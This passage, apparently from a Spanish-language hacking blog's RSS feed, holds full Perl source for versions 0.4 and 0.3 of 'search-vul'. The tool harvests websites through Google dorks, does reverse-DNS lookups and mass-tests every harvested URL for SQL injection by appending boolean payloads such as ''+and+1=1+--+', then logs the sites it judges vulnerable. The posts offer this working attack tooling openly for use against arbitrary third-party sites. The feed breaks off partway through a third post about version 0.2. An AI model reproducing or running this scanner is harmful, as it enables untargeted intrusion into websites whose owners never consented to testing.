0.4</title><link>http://yoyahack.blogspot.com/2010/02/search-vul-04.html</link><category>Herramientas</category><category>Nivel web</category><category>perl</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 14 Feb 2010 13:52:00 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-5946423984429680917</guid><description>Bueno aquí mi tool, search-vul 0.4, con algunas optimaciones, arreglos, y detecta si existen varios &lt;a href="http://www.htmlpoint.com/cgi/cgi_11.htm"&gt;Query_String&lt;/a&gt; en la url y un &lt;span style="font-weight: bold;"&gt;help&lt;/span&gt; para su uso xD.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img243.imageshack.us/img243/8809/34481459.png"&gt;&lt;img style="cursor: pointer; width: 565px; height: 378px;" src="http://img243.imageshack.us/img243/8809/34481459.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: perl"&gt;&lt;br /&gt;=pod&lt;br /&gt;Autor:   Yoyahack&lt;br /&gt;name:    search-vul&lt;br /&gt;verion:  0.4&lt;br /&gt;Mail:    yoyahack@undersecurity.net&lt;br /&gt;Web:     www.yoyahack.blogspot.com&lt;br /&gt;Webs:    www.undersecurity.net &amp;amp; www.mitm.cl &amp;amp; elhacker.net &amp;amp; www.n3t-datagrams.net&lt;br /&gt;Gretz:   S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks&lt;br /&gt;                      _                      _&lt;br /&gt;___  ___  __ _ _ __ ___| |__      __   ___   _| |&lt;br /&gt;/ __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |&lt;br /&gt;\__ \  __/ (_| | | | (__| | | |_____\ V /| |_| | |&lt;br /&gt;|___/\___|\__,_|_|  \___|_| |_|      \_/  \__,_|_|&lt;br /&gt;&lt;br /&gt;=cut&lt;br /&gt;&lt;br /&gt;#opciones&lt;br /&gt;=pod&lt;br /&gt;--google &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt; -&amp;gt; Buscar paginas de google.com y indica el numero de pagina a buscar&lt;br /&gt;--googles &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt; -&amp;gt; Buscar pagina de distinto servidores googles&lt;br /&gt;--vul &amp;lt;file.txt&amp;gt; -&amp;gt; Escanea un archivo que contenga distinta pagina y verifica las vurnerables&lt;br /&gt;--dns &amp;lt;site&amp;gt; -&amp;gt; Reverse dns&lt;br /&gt;=cut&lt;br /&gt;&lt;br /&gt;#Modulos&lt;br /&gt;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;use Getopt::Long;&lt;br /&gt;&lt;br /&gt;#Code&lt;br /&gt;&lt;br /&gt;print q(&lt;br /&gt;·············································&lt;br /&gt;              Code&lt;br /&gt;               by&lt;br /&gt;            Yoyahack&lt;br /&gt;      www.yoyahack.blogspot.com&lt;br /&gt;  www.undersecurity.net &amp;amp; www.mitm.cl&lt;br /&gt;·············································&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;print "Usage: perl $0 --opcion &amp;lt;xxx&amp;gt;\n";&lt;br /&gt;print q(&lt;br /&gt;--google &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt;&lt;br /&gt;--googles &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt;&lt;br /&gt;--vul &amp;lt;file.txt&amp;gt;&lt;br /&gt;--dns &amp;lt;site&amp;gt;&lt;br /&gt;--help&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;#Opciones&lt;br /&gt;GetOptions("google=s" =&amp;gt; \$google,&lt;br /&gt;        "googles=s" =&amp;gt; \$googles,&lt;br /&gt;        "vul=s" =&amp;gt; \$vul,             &lt;br /&gt;        "dns=s" =&amp;gt; \$dns,&lt;br /&gt;        "num=s" =&amp;gt; \$num,&lt;br /&gt;        "help" =&amp;gt; \$help);&lt;br /&gt;&lt;br /&gt;if($google &amp;amp; $num){&amp;amp;google};&lt;br /&gt;if($googles &amp;amp; $num ){&amp;amp;googles};&lt;br /&gt;if($vul){&amp;amp;vul};&lt;br /&gt;if($dns){&amp;amp;dns};&lt;br /&gt;if($help){&amp;amp;help}&lt;br /&gt;&lt;br /&gt;sub google{&lt;br /&gt;&lt;br /&gt;###########################################################&lt;br /&gt;my $peti = "http://www.google.com/search?hl=&amp;amp;q=$google&amp;amp;start=$num";&lt;br /&gt;my $result = get($peti);&lt;br /&gt;&lt;br /&gt;###########################################################&lt;br /&gt; while ($result =~ m/&amp;lt;h3 class=.*?&amp;lt;a href="([^"]+).*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/g) {&lt;br /&gt;&lt;br /&gt;     my $enlace = $1;&lt;br /&gt;     open (SE,"&amp;gt;&amp;gt;busqueda.txt");&lt;br /&gt;     print SE "$enlace\n";&lt;br /&gt;     close (SE);&lt;br /&gt;     print "$enlace\n";&lt;br /&gt;                                                                 }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub googles{&lt;br /&gt;&lt;br /&gt;###########################################################&lt;br /&gt;my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);&lt;br /&gt;foreach $go(@googles)&lt;br /&gt;            {&lt;br /&gt;             chomp($go);&lt;br /&gt;###########################################################&lt;br /&gt;my $peti1 = "http://$go/search?hl=&amp;amp;q=$googles&amp;amp;start=$num";&lt;br /&gt;my $result1 = get($peti1);&lt;br /&gt;&lt;br /&gt;###########################################################&lt;br /&gt; while ($result1 =~ m/&amp;lt;h3 class=.*?&amp;lt;a href="([^"]+).*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/g) {&lt;br /&gt; my $enlace1 = $1;&lt;br /&gt;&lt;br /&gt; open (SS,"&amp;gt;&amp;gt;googles.txt");&lt;br /&gt; print SS "$enlace1\n";&lt;br /&gt; close (SS);&lt;br /&gt; print "$enlace1\n";&lt;br /&gt;                                                                    }&lt;br /&gt;           }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub vul{&lt;br /&gt;###########################################################&lt;br /&gt;open(PAG,$vul) || die "Archivo de texto no encontrado";&lt;br /&gt;@urls=&amp;lt;PAG&amp;gt;;&lt;br /&gt;close (PAG);&lt;br /&gt;foreach $pag(@urls)&lt;br /&gt;            {&lt;br /&gt;            chomp($pag);&lt;br /&gt;###########################################################&lt;br /&gt;my $iny1 = $pag."'+and+1=1+--+";&lt;br /&gt;my $iny2 = $pag."'+and+1=2+--+";&lt;br /&gt;###########################################################&lt;br /&gt;$pag .= '&amp;amp;';&lt;br /&gt;if($pag =~ m/&amp;amp;{2}/ig){&lt;br /&gt;}else{&lt;br /&gt;   while ($pag =~ m/\&amp;amp;/g) {&lt;br /&gt;         $regex = $pag;&lt;br /&gt;         substr($regex, pos($pag)-1, 0, "+and+1=1+--+");&lt;br /&gt;         my $tofo3  = scalar(split("\n",get($regex)));&lt;br /&gt;         $regex2 = $pag;&lt;br /&gt;         substr($regex2, pos($pag)-1, 0, "+and+1=2+--+");&lt;br /&gt;         my $tofo4  = scalar(split("\n",get($regex2)));&lt;br /&gt;         if($tofo3 ne $tofo4 || $tofo != $todo){&lt;br /&gt;             open (VUL,"&amp;gt;&amp;gt;vurl.txt");&lt;br /&gt;             print VUL "$pag\n";&lt;br /&gt;             close (SS);&lt;br /&gt;                                               }&lt;br /&gt;                          }&lt;br /&gt;                }   &lt;br /&gt;##########################################################&lt;br /&gt;my $fuente = get($iny1);&lt;br /&gt;my $tofo  = scalar(split("\n",$fuente));&lt;br /&gt;&lt;br /&gt;my $result = get($iny2);&lt;br /&gt;my $todo  = scalar(split("\n",$result));&lt;br /&gt;##########################################################&lt;br /&gt;if($tofo ne $todo || $tofo != $todo){&lt;br /&gt; open (VUL,"&amp;gt;&amp;gt;vurl.txt");&lt;br /&gt; print VUL q(&lt;br /&gt;·············································&lt;br /&gt;              Code&lt;br /&gt;               by&lt;br /&gt;            Yoyahack&lt;br /&gt;      www.yoyahack.blogspot.com&lt;br /&gt;  www.undersecurity.net &amp;amp; www.mitm.cl&lt;br /&gt;·············································&lt;br /&gt;&lt;br /&gt;);&lt;br /&gt; print VUL "$pag\n";&lt;br /&gt; close (SS);&lt;br /&gt; print "[+]$pag es vurnerable a SQLI\n";&lt;br /&gt; print "!guardada exitosamente\n";&lt;br /&gt;} else {&lt;br /&gt;          print "\n$pag no es vurnerable a SQLI\n";&lt;br /&gt;      }&lt;br /&gt;       }            &lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;sub dns{&lt;br /&gt;my $result = get("http://www.ip-adress.com/reverse_ip/$dns");&lt;br /&gt;&lt;br /&gt;while ($result =~ m!&amp;lt;a href="/whois/(.+)"&amp;gt;Whois&amp;lt;/a&amp;gt;!ig){&lt;br /&gt;&lt;br /&gt; open (DNS,"&amp;gt;&amp;gt;reverse_dns.txt");&lt;br /&gt; print DNS "$1\n";&lt;br /&gt; close (DNS);&lt;br /&gt; print "$1\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;if ($result =~ /valid IP address/) {&lt;br /&gt;&lt;br /&gt; print "Not found\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub help {&lt;br /&gt;&amp;amp;erase;&lt;br /&gt;print q(&lt;br /&gt;##############################&lt;br /&gt;1 --google &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt;&lt;br /&gt;&lt;br /&gt;Buscar paginas de google.com y indica el numero de pagina a buscar&lt;br /&gt;perl script.pl --google ola --num 10&lt;br /&gt;##############################&lt;br /&gt;#////&lt;br /&gt;##############################&lt;br /&gt;2 --googles &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt;&lt;br /&gt;&lt;br /&gt;perl script.pl --googles ola --num 10&lt;br /&gt;Buscar pagina de distinto servidores googles&lt;br /&gt;##############################&lt;br /&gt;#////&lt;br /&gt;##############################&lt;br /&gt;3 --vul &amp;lt;file.txt&amp;gt;&lt;br /&gt;&lt;br /&gt;perl script.pl --vul archivo.txt&lt;br /&gt;Escanea un archivo que contenga distinta pagina y verifica las vurnerables&lt;br /&gt;##############################&lt;br /&gt;#////&lt;br /&gt;##############################&lt;br /&gt;4 --dns &amp;lt;site&amp;gt;&lt;br /&gt;&lt;br /&gt;perl script.pl --dns www.pagina.com&lt;br /&gt;Reverse dns&lt;br /&gt;##############################&lt;br /&gt;#////&lt;br /&gt;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub erase{&lt;br /&gt;$os = "$^O";&lt;br /&gt;if ("linux" == "$os"){&lt;br /&gt;return system('clear');&lt;br /&gt; }else{&lt;br /&gt;return system('cls');}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub get {&lt;br /&gt; my $pagina = $_[0];&lt;br /&gt;&lt;br /&gt; my $ua = new LWP::UserAgent;&lt;br /&gt; $ua-&amp;gt;agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");&lt;br /&gt;&lt;br /&gt; my $busqueda = new HTTP::Request GET =&amp;gt; $pagina;&lt;br /&gt; my $resultado = $ua-&amp;gt;request($busqueda);&lt;br /&gt; $ua-&amp;gt;timeout(7) || die "Conecction faield";&lt;br /&gt; my $result = $resultado-&amp;gt;content();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>[optimisada] search-vul 0.3</title><link>http://yoyahack.blogspot.com/2009/11/optimisada-search-vul-03.html</link><category>Herramientas</category><category>Nivel web</category><category>perl</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Wed, 25 Nov 2009 13:26:00 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-1063297951889017774</guid><description>Buenas aquí la versión 0.3 de search-vul, la eh optimizado bastante, gracias a C1c4Tr1Z por la idea que me dio para no estar haciendo peticiones a cada rato que hase el script vaya un poco mas lento, y al maestro OzX , eh puesto algunas de sus grandiosas tecnicas en sql....&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img291.imageshack.us/img291/6871/searchvul03.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 663px; height: 464px;" src="http://img291.imageshack.us/img291/6871/searchvul03.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;=pod&lt;br /&gt;Autor:   Yoyahack&lt;br /&gt;name:    search-vul&lt;br /&gt;verion:  0.3&lt;br /&gt;Mail:    yoyahack@undersecurity.net&lt;br /&gt;Web:     www.yoyahack.blogspot.com&lt;br /&gt;Webs:    www.undersecurity.net &amp;amp; www.mitm.cl&lt;br /&gt;Gretz: S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z&lt;br /&gt;                         _                      _ &lt;br /&gt; ___  ___  __ _ _ __ ___| |__      __   ___   _| |&lt;br /&gt;/ __|/ _ \/ _` | &amp;#39;__/ __| &amp;#39;_ \ ____\ \ / / | | | |&lt;br /&gt;\__ \  __/ (_| | | | (__| | | |_____\ V /| |_| | |&lt;br /&gt;|___/\___|\__,_|_|  \___|_| |_|      \_/  \__,_|_|&lt;br /&gt; &lt;br /&gt;=cut&lt;br /&gt; &lt;br /&gt;#opciones&lt;br /&gt;=pod&lt;br /&gt;--google &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt; -&amp;gt; Buscar paginas de google.com y indica el numero de pagina a buscar&lt;br /&gt;--googles &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt; -&amp;gt; Buscar pagina de distinto servidores googles&lt;br /&gt;--vul &amp;lt;file.txt&amp;gt; -&amp;gt; Escanea un archivo que contenga distinta pagina y verifica las vurnerables&lt;br /&gt;--dns &amp;lt;site&amp;gt; -&amp;gt; Reverse dns&lt;br /&gt;=cut&lt;br /&gt; &lt;br /&gt;#Modulos&lt;br /&gt; &lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;use Getopt::Long;&lt;br /&gt; &lt;br /&gt;#Code&lt;br /&gt; &lt;br /&gt;print q(&lt;br /&gt;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&lt;br /&gt;                 Code &lt;br /&gt;                  by&lt;br /&gt;               Yoyahack&lt;br /&gt;         www.yoyahack.blogspot.com&lt;br /&gt;     www.undersecurity.com &amp;amp; www.mitm.cl&lt;br /&gt;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&lt;br /&gt;);&lt;br /&gt; &lt;br /&gt;print &amp;quot;Usage: perl $0 --opcion &amp;lt;xxx&amp;gt;\n&amp;quot;;&lt;br /&gt;print q(&lt;br /&gt;--google &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt;&lt;br /&gt;--googles &amp;lt;busqueda&amp;gt; --num &amp;lt;numero&amp;gt;&lt;br /&gt;--vul &amp;lt;file.txt&amp;gt;&lt;br /&gt;--dns &amp;lt;site&amp;gt;&lt;br /&gt;);&lt;br /&gt; &lt;br /&gt;#Opciones&lt;br /&gt;GetOptions(&amp;quot;google=s&amp;quot; =&amp;gt; \$google, &lt;br /&gt;           &amp;quot;googles=s&amp;quot; =&amp;gt; \$googles,&lt;br /&gt;           &amp;quot;vul=s&amp;quot; =&amp;gt; \$vul,                &lt;br /&gt;           &amp;quot;dns=s&amp;quot; =&amp;gt; \$dns,&lt;br /&gt;           &amp;quot;num=s&amp;quot; =&amp;gt; \$num);&lt;br /&gt; &lt;br /&gt;if($google &amp;amp; $num){&amp;amp;google};&lt;br /&gt;if($googles &amp;amp; $num ){&amp;amp;googles};&lt;br /&gt;if($vul){&amp;amp;vul};&lt;br /&gt;if($dns){&amp;amp;dns};&lt;br /&gt; &lt;br /&gt;sub google{&lt;br /&gt; &lt;br /&gt;###########################################################&lt;br /&gt;my $peti = &amp;quot;http://www.google.com/search?hl=&amp;amp;q=$google&amp;amp;start=$num&amp;quot;;&lt;br /&gt;my $result = get($peti);&lt;br /&gt; &lt;br /&gt;###########################################################&lt;br /&gt;    while ($result =~ m/&amp;lt;h3 class=.*?&amp;lt;a href=&amp;quot;([^&amp;quot;]+).*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/g) {&lt;br /&gt; &lt;br /&gt;        my $enlace = $1;&lt;br /&gt;        open (SE,&amp;quot;&amp;gt;&amp;gt;busqueda.txt&amp;quot;);&lt;br /&gt;        print SE &amp;quot;$enlace\n&amp;quot;;&lt;br /&gt;        close (SE);&lt;br /&gt;        print &amp;quot;$enlace\n&amp;quot;; &lt;br /&gt;                                                                    }&lt;br /&gt;           } &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;sub googles{&lt;br /&gt; &lt;br /&gt;###########################################################&lt;br /&gt;my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);&lt;br /&gt;foreach $go(@googles)&lt;br /&gt;               { &lt;br /&gt;                chomp($go);&lt;br /&gt;###########################################################&lt;br /&gt;my $peti1 = &amp;quot;http://$go/search?hl=&amp;amp;q=$googles&amp;amp;start=$num&amp;quot;;&lt;br /&gt;my $result1 = get($peti1);&lt;br /&gt; &lt;br /&gt;###########################################################&lt;br /&gt;    while ($result1 =~ m/&amp;lt;h3 class=.*?&amp;lt;a href=&amp;quot;([^&amp;quot;]+).*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/g) {&lt;br /&gt;    my $enlace1 = $1;&lt;br /&gt; &lt;br /&gt;    open (SS,&amp;quot;&amp;gt;&amp;gt;googles.txt&amp;quot;);&lt;br /&gt;    print SS &amp;quot;$enlace1\n&amp;quot;;&lt;br /&gt;    close (SS);&lt;br /&gt;    print &amp;quot;$enlace1\n&amp;quot;;&lt;br /&gt;                                                                       }&lt;br /&gt;              }&lt;br /&gt;           }&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;sub vul{&lt;br /&gt;###########################################################&lt;br /&gt;open(PAG,$vul) || die &amp;quot;Archivo de texto no encontrado&amp;quot;;&lt;br /&gt;@urls=&amp;lt;PAG&amp;gt;;&lt;br /&gt;close (PAG);&lt;br /&gt;foreach $pag(@urls)&lt;br /&gt;               { &lt;br /&gt;               chomp($pag);&lt;br /&gt;###########################################################&lt;br /&gt;my $iny1 = $pag.&amp;quot;&amp;#39;+and+1=1+--+&amp;quot;;&lt;br /&gt;my $iny2 = $pag.&amp;quot;&amp;#39;+and+1=2+--+&amp;quot;;&lt;br /&gt;##########################################################&lt;br /&gt;my $fuente = get($iny1);&lt;br /&gt;my $tofo  = scalar(split(&amp;quot;\n&amp;quot;,$fuente));&lt;br /&gt; &lt;br /&gt;my $result = get($iny2);&lt;br /&gt;my $todo  = scalar(split(&amp;quot;\n&amp;quot;,$result));&lt;br /&gt;##########################################################&lt;br /&gt;if($tofo ne $todo){&lt;br /&gt;    open (VUL,&amp;quot;&amp;gt;&amp;gt;vurl.txt&amp;quot;);&lt;br /&gt;    print VUL q(&lt;br /&gt;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&lt;br /&gt;                 Code &lt;br /&gt;                  by&lt;br /&gt;               Yoyahack&lt;br /&gt;         www.yoyahack.blogspot.com&lt;br /&gt;     www.undersecurity.com &amp;amp; www.mitm.cl&lt;br /&gt;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&lt;br /&gt; &lt;br /&gt;);&lt;br /&gt;    print VUL &amp;quot;$pag\n&amp;quot;;&lt;br /&gt;    close (SS);&lt;br /&gt;    print &amp;quot;[+]$pag es vurnerable a SQLI\n&amp;quot;;&lt;br /&gt;    print &amp;quot;!guardada exitosamente\n&amp;quot;;&lt;br /&gt;   } else {&lt;br /&gt;             print &amp;quot;\n$pag no es vurnerable a SQLI\n&amp;quot;; &lt;br /&gt;         }&lt;br /&gt;          }               &lt;br /&gt;               }&lt;br /&gt; &lt;br /&gt;sub dns{&lt;br /&gt;my $result = get(&amp;quot;http://www.ip-adress.com/reverse_ip/$dns&amp;quot;);&lt;br /&gt; &lt;br /&gt;while ($result =~ m!&amp;lt;a href=&amp;quot;/whois/(.+)&amp;quot;&amp;gt;Whois&amp;lt;/a&amp;gt;!ig){&lt;br /&gt; &lt;br /&gt;    open (DNS,&amp;quot;&amp;gt;&amp;gt;reverse_dns.txt&amp;quot;); &lt;br /&gt;    print DNS &amp;quot;$1\n&amp;quot;;&lt;br /&gt;    close (DNS);&lt;br /&gt;    print &amp;quot;$1\n&amp;quot;;&lt;br /&gt; &lt;br /&gt;} &lt;br /&gt;if ($result =~ /valid IP address/) {&lt;br /&gt; &lt;br /&gt;    print &amp;quot;Not found\n&amp;quot;;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;sub get {&lt;br /&gt;    my $pagina = $_[0];&lt;br /&gt; &lt;br /&gt;    my $ua = new LWP::UserAgent;&lt;br /&gt;    $ua-&amp;gt;agent(&amp;quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12&amp;quot;);&lt;br /&gt; &lt;br /&gt;    my $busqueda = new HTTP::Request GET =&amp;gt; $pagina;&lt;br /&gt;    my $resultado = $ua-&amp;gt;request($busqueda);&lt;br /&gt;    $ua-&amp;gt;timeout(7) || die &amp;quot;Conecction faield&amp;quot;;&lt;br /&gt;    my $result = $resultado-&amp;gt;content();&lt;br /&gt;}&lt;/pre&gt;&lt;/code&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total></item><item><title>search-vul 0.2</title><link>http://yoyahack.blogspot.com/2009/10/search-vul-02.html</link><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 4 Oct 2009 17:51:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-2023180883577533177</guid><description>Bueno por fin termine la segunda version de mi tools.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;search-vul 0.2&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Caracteristica:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img143.imageshack.us/img143/6615/yoyacode.png"&gt;&lt;img style="cursor: pointer; width: 661px; height: 462px;" src="http://img143.imageshack.us/img143/6615/yoyacode.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol type="1"&gt;&lt;li&gt;Busca pagina mediante google&lt;/li&gt;&lt;li&gt;Buscar paginas web mediante distinto servidores googles&lt;/li&gt;&lt;li&gt;Opción para examinar un lista de paginas webs en busca de algunas vulnerables a sqli&lt;/li&gt;&lt;li&gt;Reverse dns&lt;/li&gt;&lt;li&gt;Buscador del panel de control&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;=pod&lt;br /&gt;Autor:   Yoyahack&lt;br /&gt;name:    search-vul&lt;br /&gt;verion:  0.2&lt;br /&gt;Mail:    yoyahack@undersecurity.net&lt;br /&gt;Web:     www.yoyahack.blogspot.com&lt;br /&gt;Webs:    www.undersecurity.net &amp;amp; www.mitm.cl |&lt;br /&gt;Descripcion: -&amp;gt;                              v&lt;br /&gt;Busca pagina mediante googles o algunos servidores googles - Opcion para examinar un lista de pagininas webs&lt;br /&gt;en busca de algunas vurnerables a sqli - Reverse dns - Buscador del panel de control&lt;br /&gt;Gretz: S[e]C, seth, p0fk, ksha, OzX, protos, n0b0dy, NorK, C1c4Tr1Z &lt;br /&gt;=cut&lt;br /&gt;&lt;br /&gt;#Modulos&lt;br /&gt;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;&lt;br /&gt;#Code&lt;br /&gt;print q(&lt;br 